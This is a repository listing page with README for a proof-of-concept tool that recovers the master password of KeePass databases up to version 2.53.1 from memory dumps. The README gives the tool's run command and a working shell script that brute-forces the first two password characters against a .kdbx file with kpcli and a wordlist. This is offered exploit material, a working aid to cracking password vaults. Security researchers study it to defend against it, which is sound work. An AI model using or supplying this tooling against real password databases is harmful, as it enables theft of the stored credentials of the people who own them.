https://github.com/matro7sh/keepass-dump-masterkey
Script to retrieve the master password of a keepass database <= 2.53.1
https://github.com/matro7sh/keepass-dump-masterkey
keepass masterkey
Last synced: about 1 year ago
JSON representation
Script to retrieve the master password of a keepass database <= 2.53.1
- Host: GitHub
- URL: https://github.com/matro7sh/keepass-dump-masterkey
- Owner: matro7sh
- Created: 2023-05-17T19:19:43.000Z (about 3 years ago)
- Default Branch: main
- Last Pushed: 2024-04-08T19:17:36.000Z (about 2 years ago)
- Last Synced: 2025-04-12T07:52:21.771Z (about 1 year ago)
- Topics: keepass, masterkey
- Language: Python
- Homepage:
- Size: 31.3 KB
- Stars: 99
- Watchers: 4
- Forks: 16
- Open Issues: 2
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# keepass-dump-masterkey
## Usage
`python3 poc.py `
## Preview

As a reminder, the first character cannot be found in the dump, and for the second the script will only give you a few possibilities, in any case we recommend you to run the bruteforce on 2 chars with the script below
```bash
#!/bin/sh
# Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt (wordlist with 2 char)
while read i
do
echo "Using password: \"$i\""
echo "$i" | kpcli --kdb=$1 && exit 0
done < $2
```
>This script works very well in the case of a physical machine, for virtual machines it does not seem stable
Btw : the python script present in this project follows the reading of the following project: https://github.com/vdohney/keepass-password-dumper
Written by https://github.com/LeDocteurDesBits